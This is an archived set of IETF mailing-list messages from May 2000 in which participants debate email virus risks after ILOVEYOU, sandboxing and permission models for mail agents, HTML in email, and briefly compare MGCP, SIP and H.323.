On Fri, 12 May 2000 13:38:43 EDT, Jeremy said:
> Can you plase pleaes stop this Virus Thread.

Actually, there *ARE* important issues here.

Would the IESG support the creation of a WG to discuss these, with the
charter of producing a BCP documenting what *should* be done to minimize
these risks in today's internet? 
-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Fri May 12 14:40:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA09508
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 14:40:02 -0400 (EDT)
Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA08854
	for <ietf@ietf.org>; Fri, 12 May 2000 14:08:27 -0400 (EDT)
Received: (from bovik@localhost)
	by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id LAA11217;
	Fri, 12 May 2000 11:08:07 -0700 (PDT)
Date: Fri, 12 May 2000 11:08:07 -0700 (PDT)
From: "James P. Salsman" <bovik@best.com>
Message-Id: <200005121808.LAA11217@shell9.ba.best.com>
To: JIM@pc.sj.nec.com
Subject: RE: mail sandbox wall authority, inward and outbound
Cc: ietf@ietf.org
In-Reply-To: <F3E15FD680AED311A6E600E0291E108C0713A3@GALATICA>
X-Loop: ietf@ietf.org

> From: Jim Busse <JIM@pc.sj.nec.com>
> Date: Fri, 12 May 2000 10:11:36 -0700
> 
> I get 240 emails/day.
> 
> about 15% have executable attachments, because that's the way developers use
> mail, we attach self-expanding zip files.
>
> My organization has about 100 people that fall into this category.

First off, not only would you all save space if you stopped 
exchanging self-extracting (executable) archives, but your 
organization would be far less vulnerable.  Use the ordinary 
zip files instead.
 
> I find it unacceptable that you are asking some console operator to
> 1.  Determine if my zip files are legitimate....

By "console operator", I mean you, the user, or whoever is 
sitting at your keyboard when your mail is being read.

Cheers,
James



From owner-ietf-outbound  Fri May 12 14:50:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA09730
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 14:50:02 -0400 (EDT)
Received: from localhost.localdomain (IDENT:root@[204.214.6.250])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA08949
	for <ietf@ietf.org>; Fri, 12 May 2000 14:11:13 -0400 (EDT)
Received: from tech20 ([204.214.6.254])
	by localhost.localdomain (8.9.3/8.8.7) with SMTP id OAA21284
	for <ietf@ietf.org>; Fri, 12 May 2000 14:10:22 -0400
From: "Scot Mc Pherson" <smcpherson@clearaccess.net>
To: <ietf@ietf.org>
Subject: HTML, Scripts and its Dangers in e-mail
Date: Fri, 12 May 2000 14:10:58 -0400
Message-ID: <007601bfbc3d$6cdb46c0$4cc8a8c0@clearaccess.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
In-reply-to: <71C4C55F198BD211B24F0000F842F15807ED9875@reoexc6.reo.cpqcorp.net>
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Heres your threads name change =)

Scot



From owner-ietf-outbound  Fri May 12 15:00:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA09872
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 15:00:02 -0400 (EDT)
Received: from latimer.mail.easynet.net (latimer.mail.easynet.net [195.40.1.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA09156
	for <ietf@ietf.org>; Fri, 12 May 2000 14:27:23 -0400 (EDT)
Received: from magazov (tnt-13-177.easynet.co.uk [212.134.22.177])
	by latimer.mail.easynet.net (Postfix) with SMTP
	id F01C5544FB; Fri, 12 May 2000 19:27:21 +0100 (BST)
Message-ID: <000001bfbc3f$cebfc8a0$b11686d4@magazov>
From: "salavat" <salavat@UKONLINE.CO.UK>
To: <bbrennan@nbn.net>, <ietf@ietf.org>
Subject: Re: Thought about Security
Date: Fri, 12 May 2000 15:19:11 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Betsy Brennan wrote:

>I was wondering, does it sound like a good idea to take ietf@ietf.org
>out of our address books. This would prevent email virus's from
>spreading through this forum. Betsy Brennan


I think you just should not open an attachments unless you are absolutely
sure it is safe. I mean you know what is in the attachment and it doesn't
sound odd like subject ILOVEYOU from IETF mailing list.

Regards
Salavat R. Magazov


P.S. I do not have ietf@ietf.org in my address book.




From owner-ietf-outbound  Fri May 12 15:10:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA10267
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 15:10:02 -0400 (EDT)
Received: from dns3.nec.com (dns3.nec.com [131.241.15.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA09432
	for <ietf@ietf.org>; Fri, 12 May 2000 14:36:24 -0400 (EDT)
Received: from netkeeper.sj.nec.com (netkeeper.sj.nec.com [131.241.31.2])
	by dns3.nec.com (ready at/) with ESMTP id LAA29271;
	Fri, 12 May 2000 11:34:32 -0700 (PDT)
Received: from galatica.pc.sj.nec.com (localhost [127.0.0.1])
	by netkeeper.sj.nec.com (8.9.1a/8.9.1) with ESMTP id LAA29512;
	Fri, 12 May 2000 11:34:00 -0700 (PDT)
Received: by GALATICA with Internet Mail Service (5.5.2448.0)
	id <KLH8G3XK>; Fri, 12 May 2000 11:26:54 -0700
Message-ID: <F3E15FD680AED311A6E600E0291E108C0713B3@GALATICA>
From: Jim Busse <JIM@pc.sj.nec.com>
To: "James P. Salsman" <bovik@best.com>, Jim Busse <JIM@pc.sj.nec.com>
Cc: ietf@ietf.org
Subject: RE: mail sandbox wall authority, inward and outbound
Date: Fri, 12 May 2000 11:26:47 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Since you don't know the environment, I won't bother to respond to
vunerability.

Ok.  How can console.user@home.com know if the attached executible file is
safe or not?  I can understand in my own context.  I don't have a hope to
understand in someone else's context.

Jim

-----Original Message-----
From: James P. Salsman [mailto:bovik@best.com]
Sent: Friday, May 12, 2000 11:08 AM
To: JIM@pc.sj.nec.com
Cc: ietf@ietf.org
Subject: RE: mail sandbox wall authority, inward and outbound


> From: Jim Busse <JIM@pc.sj.nec.com>
> Date: Fri, 12 May 2000 10:11:36 -0700
> 
> I get 240 emails/day.
> 
> about 15% have executable attachments, because that's the way developers
use
> mail, we attach self-expanding zip files.
>
> My organization has about 100 people that fall into this category.

First off, not only would you all save space if you stopped 
exchanging self-extracting (executable) archives, but your 
organization would be far less vulnerable.  Use the ordinary 
zip files instead.
 
> I find it unacceptable that you are asking some console operator to
> 1.  Determine if my zip files are legitimate....

By "console operator", I mean you, the user, or whoever is 
sitting at your keyboard when your mail is being read.

Cheers,
James



From owner-ietf-outbound  Fri May 12 15:20:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA10539
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 15:20:02 -0400 (EDT)
Received: from unni.dsv.su.se (unni.dsv.su.se [130.237.161.27])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09967
	for <ietf@ietf.org>; Fri, 12 May 2000 15:01:13 -0400 (EDT)
Received: from [130.237.150.138] (jph1.dsv.su.se [130.237.150.138])
	by unni.dsv.su.se (8.9.3+Sun/8.9.3) with ESMTP
	id VAA01511 for <ietf@ietf.org>;
	Fri, 12 May 2000 21:01:10 +0200 (MET DST)
Mime-Version: 1.0
Message-Id: <v04210112b541f201336f@[130.237.150.138]>
In-Reply-To: 
 <00ae01bfbb7b$c7f8b500$4cc8a8c0@clearaccess.net>
References: 
 <00ae01bfbb7b$c7f8b500$4cc8a8c0@clearaccess.net>
Date: Fri, 12 May 2000 19:51:29 +0200
To: IETF general mailing list <ietf@ietf.org>
From: Jacob Palme <jpalme@DSV.SU.SE>
Subject: HTML in e-mail (Was: VIRUS WARNING)
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 13.59 -0400 0-05-11, Scot Mc Pherson wrote:
> 	I am not so sure I totally agree. Why exactly do we need HTML based
> e-mail...Is it really necessary? E-mail is a service for transmitting a
> written message, and written messages certainly don't require background
> graphics or a full blown graphically based webpage.

Why should not graphics be of value in e-mail, when it is of
value in most other media like web pages, books, newspapers,
magazines, etc? Why should the e-mail medium not benefit
from graphics to enhance understandability and readability?

The size of the messages is really not an important issue.
Nets and disk space is not very expensive.

What is important, however, is writing time versus reading
time. Including graphics and neat formatting will increase
the writing time, but will, by making the message easier
to understand, reduce the writing time. This means that
neatly formatted messages give a cost/benefit gain, if
the number of recipients of a message is over a certain
limit. Thus, neatly formatted messages are more worth the
cost if you are mailing to a large mailing list than to
a single recipient.

In some cases, of course, neat formatting is so important
that it is worth the cost even with very few recipient.
For example, when I send error reports on computer software
to the developers of the software, I often include screen
shots showing how ther software does not work properly.
In such a case, the graphic is a very good way of persuading
the developer that something really is wrong with his
software.

At 15.04 -0400 0-05-11, Scot Mc Pherson wrote:
> Those newsletters that you have spoken of can quite
> easily be distributed
> in text format with the standard html tags that are used
> in text based messages already.

Is the issue you are discussing whether to include the
graphics as body parts of the e-mail sent, or just include
<IMG> links, so that the recipient can retrieve them
through HTTP when reading. This is again a cost/efficiency
issue, you will have to compute the cost of sending and
storing all these images, versus the cost and time delay of
getting them from the source when reading them. In some
cases, the original image may not be retrievable through
HTTP for the people you are sending the mail to. For
example, you may want to send, in e-mail, an image from
an Intranet not available outside your company. In that
case, you have to include the image with the mail.

At 15.04 -0400 0-05-11, Scot Mc Pherson wrote:
> Regardless of whether a list
> or commerce wishes to advertise through e-mail, there are already avenues
> for distributing material to demographically selected individuals. 

World Wide Web is *not* a good medium for distributing
news, since it does not have very good "news control", i.e.
facilities for a user to get lists of what is new and
selecting from these. E-mail, Usenet News and forum
software are much better for news distribution.

At 15.04 -0400 0-05-11, Scot Mc Pherson wrote:
> The issue here is not about whether it is technologically sound, but whether
> we are able to market the masses with or without their expressed consent.

This is, I believe, the crucial point. HTML in e-mail
has got a bad reputation, not because the idea of
graphics in e-mail is wrong, but because it is
used, tooo much, by people sending us things
we would prefer not to get.
-- 
Jacob Palme <jpalme@dsv.su.se> (Stockholm University and KTH)
for more info see URL: http://www.dsv.su.se/jpalme/



From owner-ietf-outbound  Fri May 12 15:30:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA10746
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 15:30:02 -0400 (EDT)
Received: from speedcom3.speedlan (adsl-200-1.bvi1-csr1.tpa.fl.verio.net [204.251.128.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA10312
	for <ietf@ietf.org>; Fri, 12 May 2000 15:11:10 -0400 (EDT)
Received: by SPEEDCOM3 with Internet Mail Service (5.5.2650.21)
	id <KR6AKZP1>; Fri, 12 May 2000 15:04:58 -0400
Message-ID: <0E97488D670BD411B8BD00C0F03BDF643BB6@SPEEDCOM3>
From: Administrator <Admin@speedlan.com>
To: ietf@ietf.org
Subject: remove
Date: Fri, 12 May 2000 15:04:56 -0400
Return-Receipt-To: Administrator <Admin@speedlan.com>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BFBC44.F614FA92"
X-Loop: ietf@ietf.org

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFBC44.F614FA92
Content-Type: text/plain;
	charset="iso-8859-1"



------_=_NextPart_001_01BFBC44.F614FA92
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2650.12">
<TITLE>remove</TITLE>
</HEAD>
<BODY>
<BR>

</BODY>
</HTML>
------_=_NextPart_001_01BFBC44.F614FA92--



From owner-ietf-outbound  Fri May 12 15:40:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA11599
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 15:40:03 -0400 (EDT)
Received: from leonid.genesyslab.com (pbinat33.genesyslab.com [209.233.177.33])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA10322
	for <ietf@ietf.org>; Fri, 12 May 2000 15:11:33 -0400 (EDT)
Received: (from egoshin@localhost)
	by leonid.genesyslab.com (8.9.3/8.9.3) id MAA02216;
	Fri, 12 May 2000 12:10:12 -0700
Date: Fri, 12 May 2000 12:10:12 -0700
From: Leonid Yegoshin <egoshin@genesyslab.com>
Message-Id: <200005121910.MAA02216@leonid.genesyslab.com>
To: J.Crowcroft@CS.UCL.AC.UK
Subject: Re: mail sandbox wall authority, inward and outbound
Cc: ietf@ietf.org
X-Loop: ietf@ietf.org

>From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
>
>the problem with sandboxes is that they are monolithic as is this
>discussion of mail - if i have a notion of a compartmentalized system
>with users, and access rights (like almost all operating systems from the
>late 60s onwards, but not like
>simple desk top single user executives as found on many personal
>computers today unfortuantely),
>then i can have mail agents run scripts, but with the authorities of
>the user, perhaps restricted further by some context, and i can then
>configure arbitrary rights w.r.t each possible tool that the script
>might invoke - some of these can be gathered togethre under the
>headings of "file input, output, exectution, creation etc", and others
>under the rights of "audio/video/mouse/itneraction with user",

  You right ... if we don't take into account the purpose of E-mail
exchange/web browsing. E-mails/web communication services a presentation
purpose. In strict point it is nothing to story/change in my permanent
files beyond E-mail archivation itself. Of course, it may _use_ public
resources on my host but not change it. If E-mail/HTTP hit wants to
store something it may have separate box archived with E-mail.
Three questions:

   - send files or something to outside (another user): it should be
     controlled by user approval for this particular mail/web site.
     This approval may be saved for future.

   - change/upgrade files on system (mail/HTTP upgrade):
     it should be approved by signature first and user approval second.
     Cookie/auth data may be considered as E-mail/HTTP private and
     it may be contained in sand-box itself.

   - Data extraction from E-mail/web page: it is difficult problem
     for security purpose because user may copy virus incapsulated
     in data object. It highly depends from object design. But at least
     it is not automatic and user should be seduced to do so.
     Love viruses are not final example of nature or dark invention.
     However it is possible to separate objects on script/execs
     and simple screen/voice presentation and warn user about difference
     during copy/extraction. Screen and sound speakers are also some kind of
     sand-box :-) (We may do not consider tools for pirat recording of
     played music or latest movie)

>"network i/o to such and such an address (list)", etc
>for conveneicnce and expressiveness in the ACL system (other
>management tools like user, other, groups etc help scale the task)
>and then i can design a set of sensible securioty policies for a site,
>and employ an expert to configure things for everyone - typically,
>with good systems, defaults and default operating system notions of
>user, file permissions, sudo type access etc, will suffice...
>
   Centralized rights configuration can't solve a problem.
The protection problem can be formulated in simple terms which are
clear and understandable for user. And end user decides about risk.
Nobody knows better about user trustees than user himself.
But to do so it is need to draw security boundary in convenient way for
end user.

>iff you start with a decent system;
>otherwise, forget it - someone will always find a way to set things up
>disastrously wrong, because it will be the only way to get work done
>....this is a standad problem with systems that impose all or nothing
>security - either they leak like a sive or users find them
>unusable...

  It depends on design. If high security is not huge unconvenience for
user then virus replication performance decrease dramatic and we lower
the number of people who wants to write them.

	       - Leonid Yegoshin.

>so the solution is to ditch indecent systems.
>
>In message <200005112238.PAA00950@leonid.genesyslab.com>, Leonid Yegoshin typed
>:
>
> >>>From: "James P. Salsman" <bovik@best.com>
> >>>
> >>>A MUA might ask the console operator for permission to proceed when:
> >>>
> >>>1. A mail message wants to run a program.  (e.g., ECMAscripts.)
> >>>
> >>>2. An attachment is executable. (Nearly universal practice.)
> >>>
> >>>3. A program wants to write to a file.  (Usually not trapped more
> >>>than once per execution if at all.)
> >>>
> >>>4. A program wants to read your address book.  (Does any mail system
> >>>that offers this functionality limit it at all?)
> >>>
> >>>5. A program wants to send mail.  (e.g., having MAPI's Send notify
> >>>the user and queue the proposed message as a draft instead of sending.)
> >>>
> >> 6. A program wants to send a file to somewhere. Or any permanently stored
> >>    information (like cookie but not limited).



From owner-ietf-outbound  Fri May 12 15:50:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA12397
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 15:50:02 -0400 (EDT)
Received: from leonid.genesyslab.com (pbinat33.genesyslab.com [209.233.177.33])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA10331
	for <ietf@ietf.org>; Fri, 12 May 2000 15:11:43 -0400 (EDT)
Received: (from egoshin@localhost)
	by leonid.genesyslab.com (8.9.3/8.9.3) id KAA02128;
	Fri, 12 May 2000 10:53:52 -0700
Date: Fri, 12 May 2000 10:53:52 -0700
From: Leonid Yegoshin <egoshin@genesyslab.com>
Message-Id: <200005121753.KAA02128@leonid.genesyslab.com>
To: msa@hemuli.tte.vtt.fi
Subject: Re: mail sandbox wall authority, inward and outbound
Cc: ietf@ietf.org
X-Loop: ietf@ietf.org

>From: Markku Savela <msa@anise.tte.vtt.fi>
>
>I think we should "turn around the view" (maybe you were saying this
>in another way).
>
>That is, instead of ACL type protection, where a resource is
>associated with a list of allowed users and uses, we should have a
>list of allowed resources and uses attaced to each program
>(exectutable or active object).
>
>And by default, a program could not access any resources at all.
>
>In case of mail attachment containing an executable, we could quite
>safely try to run it, and the system would just inform that it tries
>to open this or that file (do you want to allow it?), trying to
>open TCP connection to port 25 (do you want to allow it?), or tries to
>execute another program (do you want to allow it?).

   I hope you joke. How many users know what means
"TCP connection to port 25" ?
And how many Windows users know "attached program wants to open
file C:\windows\cpl32.xxx:  is it legitimate ?"

  Predicted reaction after month or two is - press "OK".

			       - Leonid Yegoshin.



From owner-ietf-outbound  Fri May 12 16:00:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA12959
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 16:00:02 -0400 (EDT)
Received: from anise.tte.vtt.fi (anise.tte.vtt.fi [130.188.52.29])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11700
	for <ietf@ietf.org>; Fri, 12 May 2000 15:41:06 -0400 (EDT)
Received: (from msa@localhost)
	by anise.tte.vtt.fi (8.8.5/8.8.5) id WAA32256;
	Fri, 12 May 2000 22:40:59 +0300 (EET DST)
Date: Fri, 12 May 2000 22:40:59 +0300 (EET DST)
From: Markku Savela <msa@anise.tte.vtt.fi>
Message-Id: <200005121940.WAA32256@anise.tte.vtt.fi>
To: egoshin@genesyslab.com
CC: ietf@ietf.org
In-reply-to: <200005121753.KAA02128@leonid.genesyslab.com> (message from Leonid Yegoshin on Fri, 12 May 2000 10:53:52 -0700)
Subject: Re: mail sandbox wall authority, inward and outbound
Reply-to: msa@hemuli.tte.vtt.fi (Markku Savela)
X-Loop: ietf@ietf.org


> From: Leonid Yegoshin <egoshin@genesyslab.com>
> >From: Markku Savela <msa@anise.tte.vtt.fi>

> >In case of mail attachment containing an executable, we could quite
> >safely try to run it, and the system would just inform that it tries
> >to open this or that file (do you want to allow it?), trying to
> >open TCP connection to port 25 (do you want to allow it?), or tries to
> >execute another program (do you want to allow it?).
> 
>    I hope you joke. How many users know what means
> "TCP connection to port 25" ?

Not joking, but those were just provided to give an idea of types of
checks that might be done. Default action should probably be to reject
operation with error message.

But, that was not my point. My point was that with such a protection
system, the whole virus/trojan/worm problem practically
disappears. You can download any executable and safely run it by
default. If it needs access to resources, it would be accompanied with
the resource list that you are supposed to install. This list could be
signed by some authority, which would be checked by the default
installation process.

The difference to signing programs and my suggestion is: signed
program may have bugs that cause it to do damage. But, in the proposed
system, even if program has bugs, it can only damage the resources it
has explicit access. This is especially good for programs that are
traditionally run as root. Usually this root requirement is only
because they need access to few special files or directories. Such
files are easily listed in the resource list.

-- 
Markku Savela (msa@hemuli.tte.vtt.fi), Technical Research Centre of Finland
Multimedia Systems, P.O.Box 1203,FIN-02044 VTT,http://www.vtt.fi/tte/staff/msa/



From owner-ietf-outbound  Fri May 12 16:10:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA13369
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 16:10:02 -0400 (EDT)
Received: from apollo.dmnews.com (mail.dmnews.com [204.141.161.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA13326
	for <ietf@ietf.org>; Fri, 12 May 2000 16:08:43 -0400 (EDT)
Received: by mail.dmnews.com with Internet Mail Service (5.5.2448.0)
	id <HNLHM0Y3>; Fri, 12 May 2000 16:15:23 -0400
Message-ID: <983B9A17F5EBD311905600D0B73EA0DE03D939@mail.dmnews.com>
From: Lillian Komlossy <Lillian@dmnews.com>
To: "'salavat'" <salavat@UKONLINE.CO.UK>
Cc: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: Thought about Security
Date: Fri, 12 May 2000 16:15:22 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Salavat R. Magazov wrote:

>I think you just should not open an attachments unless you are absolutely
>sure it is safe. I mean you know what is in the attachment and it doesn't
>sound odd like subject ILOVEYOU from IETF mailing list.

Now THAT would sound really odd! LOL


Lillian Komlossy                     
Site Manager                         
http://www.dmnews.com           
http://www.imarketingnews.com  
(212) 925-7300 ext. 232 



From owner-ietf-outbound  Fri May 12 16:50:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA14458
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 16:50:02 -0400 (EDT)
Received: from ljcqs016.cnf.com (egate1.cnf.com [205.185.108.239])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA14390
	for <ietf@ietf.org>; Fri, 12 May 2000 16:46:55 -0400 (EDT)
Received: from mwabs030.emeryworld.com (localhost [127.0.0.1])
	by ljcqs016.cnf.com (8.9.3/8.9.3) with ESMTP id NAA17657;
	Fri, 12 May 2000 13:46:24 -0700 (PDT)
Received: by mwabs030.emeryworld.com with Internet Mail Service (5.5.2650.21)
	id <KL30CDHG>; Fri, 12 May 2000 20:39:43 -0000
Message-ID: <C7091526C06AD211A7450004AC384A350C35D1E8@mwabs035.emeryworld.com>
From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
To: "'Valdis.Kletnieks@vt.edu'" <Valdis.Kletnieks@vt.edu>, ietf@ietf.org
Subject: RE: VIRUS WARNING 
Date: Fri, 12 May 2000 20:45:57 -0000
Return-Receipt-To: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

this is a good idea !! maybe the security wg could look
into this. Jeff, Marcus , any comments ??
/pd

-----Original Message-----
From: Valdis.Kletnieks@vt.edu [mailto:Valdis.Kletnieks@vt.edu]
Sent: Friday, May 12, 2000 2:05 PM
To: ietf@ietf.org
Subject: Re: VIRUS WARNING 


On Fri, 12 May 2000 13:38:43 EDT, Jeremy said:
> Can you plase pleaes stop this Virus Thread.

Actually, there *ARE* important issues here.

Would the IESG support the creation of a WG to discuss these, with the
charter of producing a BCP documenting what *should* be done to minimize
these risks in today's internet? 
-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Fri May 12 18:10:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA17183
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 18:10:02 -0400 (EDT)
Received: from mail4.microsoft.com (mail4.microsoft.com [131.107.3.122])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA16952
	for <ietf@ietf.org>; Fri, 12 May 2000 18:02:41 -0400 (EDT)
Received: from 157.54.9.103 by mail4.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 12 May 2000 15:01:11 -0700 (Pacific Daylight Time)
Received: by INET-IMC-04 with Internet Mail Service (5.5.2651.58)
	id <KYFNJG9K>; Fri, 12 May 2000 14:55:55 -0700
Message-ID: <57AD78231035CD4B86D4BD0CDC42238A31772A@red-pt-01.redmond.corp.microsoft.com>
From: Christian Huitema <huitema@microsoft.com>
To: "'Yixin Zhu'" <yixin@xybridge.com>, ietf@ietf.org
Subject: RE: Any comparison Study on MGCP vs H.323, MGCP vs SIP
Date: Fri, 12 May 2000 14:55:58 -0700
X-Mailer: Internet Mail Service (5.5.2651.58)
X-Loop: ietf@ietf.org

From the SGCP FAQ (http://www.argreenhouse.com/sgcp/sgcp-faq.shtml) written
two years ago:

	Do you intend to replace H.323 ? 
Definitely not. Just look at the picture above, which shows the relaying of
a call 
between an SGCP controlled gateway and an H.323 agent. The combination of
gateways plus call agent forms a distributed H.323 system, which is
perfectly conforming to the H.323 standard...
	If not H.323, why not SIP, then? 
In fact, when we realized that we could not use H.323 between the call agent
and the gateways, we tried to base the design of SGCP on SIP. But we
stumbled on the fact that SIP is a peer to peer protocol, while we needed a
master slave protocol. However, interworking between SIP and SGCP is very
easy...

(SGCP is one of the ancestors of MGCP.)

-- Christian Huitema

> -----Original Message-----
> From: Yixin Zhu [mailto:yixin@xybridge.com]
> Sent: Thursday, May 11, 2000 7:55 AM
> To: ietf@ietf.org
> Subject: Any comparison Study on MGCP vs H.323, MGCP vs SIP
> 
> 
> Hi,
> 
> There are studies on the comparision of the two competing 
> protocol SIP and
> H.323. However, MGCP can also provide call control functionalities. A
> network with MGCP only (Call agent, MG etc) can provide basic 
> VoIP service
> too. Then my questions are
> 
> 1. Are there any comparison study between MGCP and H.323?
> 
> 2. Are there any comparision study between MGCP  and SIP?
> 
> 
> You help is very much appreciated. Thanks,
> 
> 
> Yixin (James) ZHU
> 
> 



From owner-ietf-outbound  Fri May 12 18:20:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA17304
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 18:20:02 -0400 (EDT)
Received: from mail4.microsoft.com (mail4.microsoft.com [131.107.3.122])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA17249
	for <ietf@ietf.org>; Fri, 12 May 2000 18:13:32 -0400 (EDT)
Received: from 157.54.9.103 by mail4.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 12 May 2000 15:12:04 -0700 (Pacific Daylight Time)
Received: by INET-IMC-04 with Internet Mail Service (5.5.2651.58)
	id <KYFNJ2ZT>; Fri, 12 May 2000 15:12:20 -0700
Message-ID: <57AD78231035CD4B86D4BD0CDC42238A3CAA50@red-pt-01.redmond.corp.microsoft.com>
From: Christian Huitema <huitema@microsoft.com>
To: "'Vernon Schryver'" <vjs@calcite.rhyolite.com>, ietf@ietf.org
Subject: RE: VIRUS WARNING
Date: Fri, 12 May 2000 15:12:22 -0700
X-Mailer: Internet Mail Service (5.5.2651.58)
X-Loop: ietf@ietf.org

> All of that can be done in pure ASCII.  

... that is, if you speak english. You can definitely write the way of
Shakespeare, but you have a tiny problem writing the way of Molière, let
alone Confucius. Then, there are things that are hard to do in writing,
however able is your prose. Maps and pictures, songs and recordings come to
mind. There was a rationale for creating MIME.

Framing the debate as ASCII versus HTML is a bit reductive. The real
separation here is self-contained versus network based. Carrying a picture
in a message is definitely valuable, carrying a link to a picture that is
stored on some random web site creates an obvious privacy risk -- the URL
itself can be the hidden communication channel that tracks you.



From owner-ietf-outbound  Fri May 12 19:50:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA18203
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 19:50:04 -0400 (EDT)
Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA18073
	for <ietf@ietf.org>; Fri, 12 May 2000 19:44:39 -0400 (EDT)
Received: (from bovik@localhost)
	by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id QAA06637;
	Fri, 12 May 2000 16:44:09 -0700 (PDT)
Date: Fri, 12 May 2000 16:44:09 -0700 (PDT)
From: "James P. Salsman" <bovik@best.com>
Message-Id: <200005122344.QAA06637@shell9.ba.best.com>
To: Harald@Alvestrand.no
Subject: Re: mail sandbox wall authority, inward and outbound
Cc: ietf@ietf.org
In-Reply-To: <4.3.1.2.20000512001113.103198c0@dokka.kvatro.no>
X-Loop: ietf@ietf.org

Harald,

Thank you for your reply to my message:

>> These sorts of things are less common on the more heterogeneous
>> Unix world, but Unix mailers are just as culpable.  If I wanted to
>> be consistent, I would demand that anything I run on Unix (without
>> a special permitted shell) which connects to port 25 should be
>> intercepted, wrapped with an "ok queued" SMTP response, and
>> forwarded to me instead.  Would anyone argue that isn't reasonable?
> 
> Yes, but only because I have 15 different programs that more or less 
> indirectly invoke /usr/sbin/sendmail for various reasons.
> Most of them are tools invoked from cron.

As long as your OS looks at an enviroment-based path for the shared 
net library, you can replace those in standard locations with the 
wrapped versions, and prepend their new location to the head of your 
trusted programs' loader's path. 

> In a fine-grained capabilities control system, I'd have the "send email" as 
> one access control descriptor I could grant these programs.
> But that's not been implemented in any widespread system I know of.

Are there even cross-platform specs yet?

Cheers,
James

-- 
IMS Q&TI Editor project description: http://www.bovik.org/imsqtied.html
Open-source development:  http://sourceforge.net/project/?group_id=3308



From owner-ietf-outbound  Fri May 12 20:00:09 2000
